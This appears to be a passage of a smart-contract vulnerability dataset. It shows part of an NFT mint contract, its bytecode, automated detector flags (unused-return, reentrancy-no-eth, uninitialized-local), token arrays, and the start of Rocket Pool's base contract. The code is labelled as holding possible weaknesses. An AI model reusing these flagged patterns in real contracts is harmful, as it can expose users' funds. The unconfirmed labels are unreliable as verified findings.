(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function mintTicket(address _to) external onlyOwner {
goldenTicket.mint(_to);
balancesGoldenTicket[_to] += 1;
}
function mintTicketBulk(address[] calldata _to) external onlyOwner {
goldenTicket.mintBatch(_to);
for (uint i = 0; i < _to.length; i++) {
balancesGoldenTicket[_to[i]] += 1;
}
}
function balanceOfTicket(address _owner) public view returns (uint256) {
return balancesGoldenTicket[_owner];
}
function safeTransferFromTicket(address from, address to, uint256 amount, bytes memory data) external onlyOwner {
balancesGoldenTicket[from] -= 1;
balancesGoldenTicket[to] += 1;
goldenTicket.safeTransferFrom(from, to, 1, amount, data);
}
function safeTransferFromTicketBulk(address from, address[] memory to, uint256 amount, bytes memory data) external onlyOwner {
for(uint256 i = 0; i < to.length; i++){
balancesGoldenTicket[from] -= 1;
balancesGoldenTicket[to[i]] += 1;
goldenTicket.safeTransferFrom(from, to[i], 1, amount, data);
}
}
} | 0x6080604052600436106102935760003560e01c80635c975abb1161015a578063b88d4fde116100c1578063d5abeb011161007a578063d5abeb01146107d1578063da3ef23f146107e7578063e985e9c514610807578063edec5f2714610850578063f2fde38b14610870578063fa07ce1d1461089057600080fd5b8063b88d4fde14610726578063ba4e5c4914610746578063ba7d2c7614610766578063c66828621461077c578063c87b56dd14610791578063d0eb26b0146107b157600080fd5b80637f00c7a6116101135780637f00c7a6146106815780638da5cb5b146106a157806395d89b41146106bf5780639c70b512146106d4578063a0712d68146106f3578063a22cb4651461070657600080fd5b80635c975abb146105c75780636352211e146105e15780636c0360eb1461060157806370a0823114610616578063715018a6146106365780637516ce481461064b57600080fd5b806326a24d18116101fe57806342842e0e116101b757806342842e0e146104fa578063438b63001461051a57806344a0d68a146105475780634f6ccce7146105675780635220ffcc1461058757806355f804b3146105a757600080fd5b806326a24d18146104455780632e7f3f72146104725780632f745c59146104925780633af32abf146104b25780633c952764146104d25780633ccfd60b146104f257600080fd5b80630f3c1a5d116102505780630f3c1a5d1461038957806313faede6146103a957806318160ddd146103cd57806318cae269146103e2578063239c70ae1461040f57806323b872dd1461042557600080fd5b806301ffc9a71461029857806302329a29146102cd57806306fdde03146102ef578063081812fc1461031157806308e9bd2614610349578063095ea7b314610369575b600080fd5b3480156102a457600080fd5b506102b86102b3366004612a5e565b6108bd565b60405190151581526020015b60405180910390f35b3480156102d957600080fd5b506102ed6102e8366004612a43565b6108e8565b005b3480156102fb57600080fd5b5061030461092e565b6040516102c49190612cfc565b34801561031d57600080fd5b5061033161032c366004612ae1565b6109c0565b6040516001600160a01b0390911681526020016102c4565b34801561035557600080fd5b506102ed6103643660046127a2565b610a55565b34801561037557600080fd5b506102ed6103843660046129a4565b610b0f565b34801561039557600080fd5b506102ed6103a436600461282c565b610c25565b3480156103b557600080fd5b506103bf600d5481565b6040519081526020016102c4565b3480156103d957600080fd5b506008546103bf565b3480156103ee57600080fd5b506103bf6103fd3660046127a2565b60136020526000908152604090205481565b34801561041b57600080fd5b506103bf600f5481565b34801561043157600080fd5b506102ed6104403660046127f0565b610d1c565b34801561045157600080fd5b506103bf6104603660046127a2565b60156020526000908152604090205481565b34801561047e57600080fd5b506102ed61048d366004612894565b610d4d565b34801561049e57600080fd5b506103bf6104ad3660046129a4565b610eaa565b3480156104be57600080fd5b506102b86104cd3660046127a2565b610f40565b3480156104de57600080fd5b506102ed6104ed366004612a43565b610faa565b6102ed610fee565b34801561050657600080fd5b506102ed6105153660046127f0565b61108c565b34801561052657600080fd5b5061053a6105353660046127a2565b6110a7565b6040516102c49190612cb8565b34801561055357600080fd5b506102ed610562366004612ae1565b611149565b34801561057357600080fd5b506103bf610582366004612ae1565b611178565b34801561059357600080fd5b506102ed6105a23660046129ce565b61120b565b3480156105b357600080fd5b506102ed6105c2366004612a98565b611318565b3480156105d357600080fd5b506011546102b89060ff1681565b3480156105ed57600080fd5b506103316105fc366004612ae1565b611359565b34801561060d57600080fd5b506103046113d0565b34801561062257600080fd5b506103bf6106313660046127a2565b61145e565b34801561064257600080fd5b506102ed6114e5565b34801561065757600080fd5b506103bf6106663660046127a2565b6001600160a01b031660009081526015602052604090205490565b34801561068d57600080fd5b506102ed61069c366004612ae1565b61151b565b3480156106ad57600080fd5b50600a546001600160a01b0316610331565b3480156106cb57600080fd5b5061030461154a565b3480156106e057600080fd5b506011546102b890610100900460ff1681565b6102ed610701366004612ae1565b611559565b34801561071257600080fd5b506102ed61072136600461297a565b6118a9565b34801561073257600080fd5b506102ed61074136600461282c565b6118b4565b34801561075257600080fd5b50610331610761366004612ae1565b6118ec565b34801561077257600080fd5b506103bf60105481565b34801561078857600080fd5b50610304611916565b34801561079d57600080fd5b506103046107ac366004612ae1565b611923565b3480156107bd57600080fd5b506102ed6107cc366004612ae1565b611a01565b3480156107dd57600080fd5b506103bf600e5481565b3480156107f357600080fd5b506102ed610802366004612a98565b611a30565b34801561081357600080fd5b506102b86108223660046127bd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561085c57600080fd5b506102ed61086b3660046129ce565b611a6d565b34801561087c57600080fd5b506102ed61088b3660046127a2565b611aaf565b34801561089c57600080fd5b506103bf6108ab3660046127a2565b60166020526000908152604090205481565b60006001600160e01b0319821663780e9d6360e01b14806108e257506108e282611b47565b92915050565b600a546001600160a01b0316331461091b5760405162461bcd60e51b815260040161091290612d61565b60405180910390fd5b6011805460ff1916911515919091179055565b60606000805461093d90612ea6565b80601f016020809104026020016040519081016040528092919081815260200182805461096990612ea6565b80156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610a395760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610912565b506000908152600460205260409020546001600160a01b031690565b600a546001600160a01b03163314610a7f5760405162461bcd60e51b815260040161091290612d61565b6014546040516335313c2160e11b81526001600160a01b03838116600483015290911690636a62784290602401600060405180830381600087803b158015610ac657600080fd5b505af1158015610ada573d6000803e3d6000fd5b505050506001600160a01b0381166000908152601560205260408120805460019290610b07908490612e18565b909155505050565b6000610b1a82611359565b9050806001600160a01b0316836001600160a01b03161415610b885760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610912565b336001600160a01b0382161480610ba45750610ba48133610822565b610c165760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610912565b610c208383611b97565b505050565b600a546001600160a01b03163314610c4f5760405162461bcd60e51b815260040161091290612d61565b6001600160a01b0384166000908152601560205260408120805460019290610c78908490612e63565b90915550506001600160a01b0383166000908152601560205260408120805460019290610ca6908490612e18565b9091555050601454604051637921219560e11b81526001600160a01b039091169063f242432a90610ce4908790879060019088908890600401612bea565b600060405180830381600087803b158015610cfe57600080fd5b505af1158015610d12573d6000803e3d6000fd5b5050505050505050565b610d263382611c05565b610d425760405162461bcd60e51b815260040161091290612d96565b610c20838383611cfc565b600a546001600160a01b03163314610d775760405162461bcd60e51b815260040161091290612d61565b60005b8351811015610ea3576001600160a01b0385166000908152601560205260408120805460019290610dac908490612e63565b92505081905550600160156000868481518110610dcb57610dcb612f52565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e029190612e18565b909155505060145484516001600160a01b039091169063f242432a908790879085908110610e3257610e32612f52565b6020026020010151600187876040518663ffffffff1660e01b8152600401610e5e959493929190612bea565b600060405180830381600087803b158015610e7857600080fd5b505af1158015610e8c573d6000803e3d6000fd5b505050508080610e9b90612ee1565b915050610d7a565b5050505050565b6000610eb58361145e565b8210610f175760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610912565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601254811015610fa157826001600160a01b031660128281548110610f6b57610f6b612f52565b6000918252602090912001546001600160a01b03161415610f8f5750600192915050565b80610f9981612ee1565b915050610f44565b50600092915050565b600a546001600160a01b03163314610fd45760405162461bcd60e51b815260040161091290612d61565b601180549115156101000261ff0019909216919091179055565b600a546001600160a01b031633146110185760405162461bcd60e51b815260040161091290612d61565b600061102c600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114611076576040519150601f19603f3d011682016040523d82523d6000602084013e61107b565b606091505b505090508061108957600080fd5b50565b610c20838383604051806020016040528060008152506118b4565b606060006110b48361145e565b905060008167ffffffffffffffff8111156110d1576110d1612f68565b6040519080825280602002602001820160405280156110fa578160200160208202803683370190505b50905060005b82811015611141576111128582610eaa565b82828151811061112457611124612f52565b60209081029190910101528061113981612ee1565b915050611100565b509392505050565b600a546001600160a01b031633146111735760405162461bcd60e51b815260040161091290612d61565b600d55565b600061118360085490565b82106111e65760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610912565b600882815481106111f9576111f9612f52565b90600052602060002001549050919050565b600a546001600160a01b031633146112355760405162461bcd60e51b815260040161091290612d61565b60145460405163493facdd60e11b81526001600160a01b039091169063927f59ba906112679085908590600401612c6c565b600060405180830381600087803b15801561128157600080fd5b505af1158015611295573d6000803e3d6000fd5b5050505060005b81811015610c20576001601560008585858181106112bc576112bc612f52565b90506020020160208101906112d191906127a2565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546113009190612e18565b9091555081905061131081612ee1565b91505061129c565b600a546001600160a01b031633146113425760405162461bcd60e51b815260040161091290612d61565b805161135590600b9060208401906125f4565b5050565b6000818152600260205260408120546001600160a01b0316806108e25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610912565b600b80546113dd90612ea6565b80601f016020809104026020016040519081016040528092919081815260200182805461140990612ea6565b80156114565780601f1061142b57610100808354040283529160200191611456565b820191906000526020600020905b81548152906001019060200180831161143957829003601f168201915b505050505081565b60006001600160a01b0382166114c95760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610912565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461150f5760405162461bcd60e51b815260040161091290612d61565b6115196000611ea3565b565b600a546001600160a01b031633146115455760405162461bcd60e51b815260040161091290612d61565b600f55565b60606001805461093d90612ea6565b60115460ff16156115a55760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b6044820152606401610912565b60006115b060085490565b9050600082116116025760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e465400000000006044820152606401610912565b600f548211156116605760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b6064820152608401610912565b600e5461166d8383612e18565b11156116b45760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b6044820152606401610912565b600a546001600160a01b031633146118595760115460ff6101009091041615156001141561179e576116e533610f40565b6117315760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c69737465640000000000000000006044820152606401610912565b3360009081526013602052604090205460105461174e8483612e18565b111561179c5760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e4654207065722061646472657373206578636565646564000000006044820152606401610912565b505b8160011480156117be575033600090815260156020526040902054600111155b80156117d7575033600090815260166020526040902054155b15611807573360009081526016602052604081208054600192906117fc908490612e18565b909155506118599050565b81600d546118159190612e44565b3410156118595760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b6044820152606401610912565b60015b828111610c205733600090815260136020526040812080549161187e83612ee1565b909155506118979050336118928385612e18565b611ef5565b806118a181612ee1565b91505061185c565b611355338383611f0f565b6118be3383611c05565b6118da5760405162461bcd60e51b815260040161091290612d96565b6118e684848484611fde565b50505050565b601281815481106118fc57600080fd5b6000918252602090912001546001600160a01b0316905081565b600c80546113dd90612ea6565b6000818152600260205260409020546060906001600160a01b03166119a25760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610912565b60006119ac612011565b905060008151116119cc57604051806020016040528060008152506119fa565b806119d684612020565b600c6040516020016119ea93929190612b26565b6040516020818303038152906040525b9392505050565b600a546001600160a01b03163314611a2b5760405162461bcd60e51b815260040161091290612d61565b601055565b600a546001600160a01b03163314611a5a5760405162461bcd60e51b815260040161091290612d61565b805161135590600c9060208401906125f4565b600a546001600160a01b03163314611a975760405162461bcd60e51b815260040161091290612d61565b611aa360126000612678565b610c2060128383612696565b600a546001600160a01b03163314611ad95760405162461bcd60e51b815260040161091290612d61565b6001600160a01b038116611b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610912565b61108981611ea3565b60006001600160e01b031982166380ac58cd60e01b1480611b7857506001600160e01b03198216635b5e139f60e01b145b806108e257506301ffc9a760e01b6001600160e01b03198316146108e2565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611bcc82611359565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611c7e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610912565b6000611c8983611359565b9050806001600160a01b0316846001600160a01b03161480611cc45750836001600160a01b0316611cb9846109c0565b6001600160a01b0316145b80611cf457506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611d0f82611359565b6001600160a01b031614611d735760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610912565b6001600160a01b038216611dd55760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610912565b611de083838361211e565b611deb600082611b97565b6001600160a01b0383166000908152600360205260408120805460019290611e14908490612e63565b90915550506001600160a01b0382166000908152600360205260408120805460019290611e42908490612e18565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6113558282604051806020016040528060008152506121d6565b816001600160a01b0316836001600160a01b03161415611f715760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610912565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611fe9848484611cfc565b611ff584848484612209565b6118e65760405162461bcd60e51b815260040161091290612d0f565b6060600b805461093d90612ea6565b6060816120445750506040805180820190915260018152600360fc1b602082015290565b8160005b811561206e578061205881612ee1565b91506120679050600a83612e30565b9150612048565b60008167ffffffffffffffff81111561208957612089612f68565b6040519080825280601f01601f1916602001820160405280156120b3576020820181803683370190505b5090505b8415611cf4576120c8600183612e63565b91506120d5600a86612efc565b6120e0906030612e18565b60f81b8183815181106120f5576120f5612f52565b60200101906001600160f81b031916908160001a905350612117600a86612e30565b94506120b7565b6001600160a01b0383166121795761217481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61219c565b816001600160a01b0316836001600160a01b03161461219c5761219c8382612316565b6001600160a01b0382166121b357610c20816123b3565b826001600160a01b0316826001600160a01b031614610c2057610c208282612462565b6121e083836124a6565b6121ed6000848484612209565b610c205760405162461bcd60e51b815260040161091290612d0f565b60006001600160a01b0384163b1561230b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061224d903390899088908890600401612c2f565b602060405180830381600087803b15801561226757600080fd5b505af1925050508015612297575060408051601f3d908101601f1916820190925261229491810190612a7b565b60015b6122f1573d8080156122c5576040519150601f19603f3d011682016040523d82523d6000602084013e6122ca565b606091505b5080516122e95760405162461bcd60e51b815260040161091290612d0f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611cf4565b506001949350505050565b600060016123238461145e565b61232d9190612e63565b600083815260076020526040902054909150808214612380576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906123c590600190612e63565b600083815260096020526040812054600880549394509092849081106123ed576123ed612f52565b90600052602060002001549050806008838154811061240e5761240e612f52565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061244657612446612f3c565b6001900381819060005260206000200160009055905550505050565b600061246d8361145e565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166124fc5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610912565b6000818152600260205260409020546001600160a01b0316156125615760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610912565b61256d6000838361211e565b6001600160a01b0382166000908152600360205260408120805460019290612596908490612e18565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461260090612ea6565b90600052602060002090601f0160209004810192826126225760008555612668565b82601f1061263b57805160ff1916838001178555612668565b82800160010185558215612668579182015b8281111561266857825182559160200191906001019061264d565b506126749291506126e9565b5090565b508054600082559060005260206000209081019061108991906126e9565b828054828255906000526020600020908101928215612668579160200282015b828111156126685781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906126b6565b5b8082111561267457600081556001016126ea565b600067ffffffffffffffff83111561271857612718612f68565b61272b601f8401601f1916602001612de7565b905082815283838301111561273f57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461276d57600080fd5b919050565b8035801515811461276d57600080fd5b600082601f83011261279357600080fd5b6119fa838335602085016126fe565b6000602082840312156127b457600080fd5b6119fa82612756565b600080604083850312156127d057600080fd5b6127d983612756565b91506127e760208401612756565b90509250929050565b60008060006060848603121561280557600080fd5b61280e84612756565b925061281c60208501612756565b9150604084013590509250925092565b6000806000806080858703121561284257600080fd5b61284b85612756565b935061285960208601612756565b925060408501359150606085013567ffffffffffffffff81111561287c57600080fd5b61288887828801612782565b91505092959194509250565b600080600080608085870312156128aa57600080fd5b6128b385612756565b935060208086013567ffffffffffffffff808211156128d157600080fd5b818801915088601f8301126128e557600080fd5b8135818111156128f7576128f7612f68565b8060051b612906858201612de7565b8281528581019085870183870188018e101561292157600080fd5b600096505b8487101561294b5761293781612756565b835260019690960195918701918701612926565b50985050505060408801359450606088013592508083111561296c57600080fd5b505061288887828801612782565b6000806040838503121561298d57600080fd5b61299683612756565b91506127e760208401612772565b600080604083850312156129b757600080fd5b6129c083612756565b946020939093013593505050565b600080602083850312156129e157600080fd5b823567ffffffffffffffff808211156129f957600080fd5b818501915085601f830112612a0d57600080fd5b813581811115612a1c57600080fd5b8660208260051b8501011115612a3157600080fd5b60209290920196919550909350505050565b600060208284031215612a5557600080fd5b6119fa82612772565b600060208284031215612a7057600080fd5b81356119fa81612f7e565b600060208284031215612a8d57600080fd5b81516119fa81612f7e565b600060208284031215612aaa57600080fd5b813567ffffffffffffffff811115612ac157600080fd5b8201601f81018413612ad257600080fd5b611cf4848235602084016126fe565b600060208284031215612af357600080fd5b5035919050565b60008151808452612b12816020860160208601612e7a565b601f01601f19169290920160200192915050565b600084516020612b398285838a01612e7a565b855191840191612b4c8184848a01612e7a565b8554920191600090600181811c9080831680612b6957607f831692505b858310811415612b8757634e487b7160e01b85526022600452602485fd5b808015612b9b5760018114612bac57612bd9565b60ff19851688528388019550612bd9565b60008b81526020902060005b85811015612bd15781548a820152908401908801612bb8565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a060808201819052600090612c2490830184612afa565b979650505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612c6290830184612afa565b9695505050505050565b60208082528181018390526000908460408401835b86811015612cad576001600160a01b03612c9a84612756565b1682529183019190830190600101612c81565b509695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612cf057835183529284019291840191600101612cd4565b50909695505050505050565b6020815260006119fa6020830184612afa565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612e1057612e10612f68565b604052919050565b60008219821115612e2b57612e2b612f10565b500190565b600082612e3f57612e3f612f26565b500490565b6000816000190483118215151615612e5e57612e5e612f10565b500290565b600082821015612e7557612e75612f10565b500390565b60005b83811015612e95578181015183820152602001612e7d565b838111156118e65750506000910152565b600181811c90821680612eba57607f821691505b60208210811415612edb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612ef557612ef5612f10565b5060010190565b600082612f0b57612f0b612f26565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461108957600080fdfea2646970667358221220cd76e7c580d3db778f6cbd1158e47698bb0e6a02a142a143424d5793b547eb7b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2683,
2683,
2581,
3207,
2509,
2278,
2692,
2546,
2683,
26187,
2575,
2278,
2549,
2050,
2692,
2546,
25746,
2497,
11387,
19481,
2497,
2509,
6305,
2581,
2050,
2575,
18939,
24087,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
7817,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
7817,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,446 | 0x952999Ec97248547D810Fd6464fDb78855b022aB | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "../interface/RocketStorageInterface.sol";
/// @title Base settings / modifiers for each contract in Rocket Pool
/// @author David Rugendyke
abstract contract RocketBase {
// Calculate using this as the base
uint256 constant calcBase = 1 ether;
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
RocketStorageInterface rocketStorage = RocketStorageInterface(0);
/*** Modifiers **********************************************************/
/**
* @dev Throws if called by any sender that doesn't match a Rocket Pool network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered node
*/
modifier onlyRegisteredNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.exists", _nodeAddress))), "Invalid node");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node DAO member
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("dao.trustednodes.", "member", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered minipool
*/
modifier onlyRegisteredMinipool(address _minipoolAddress) {
require(getBool(keccak256(abi.encodePacked("minipool.exists", _minipoolAddress))), "Invalid minipool");
_;
}
/**
* @dev Throws if called by any account other than a guardian account (temporary account allowed access to settings before DAO is fully enabled)
*/
modifier onlyGuardian() {
require(msg.sender == rocketStorage.getGuardian(), "Account is not a temporary guardian");
_;
}
/*** Methods **********************************************************/
/// @dev Set the main Rocket Storage address
constructor(RocketStorageInterface _rocketStorageAddress) {
// Update the contract address
rocketStorage = RocketStorageInterface(_rocketStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the address of a network contract by name (returns address(0x0) instead of reverting if contract does not exist)
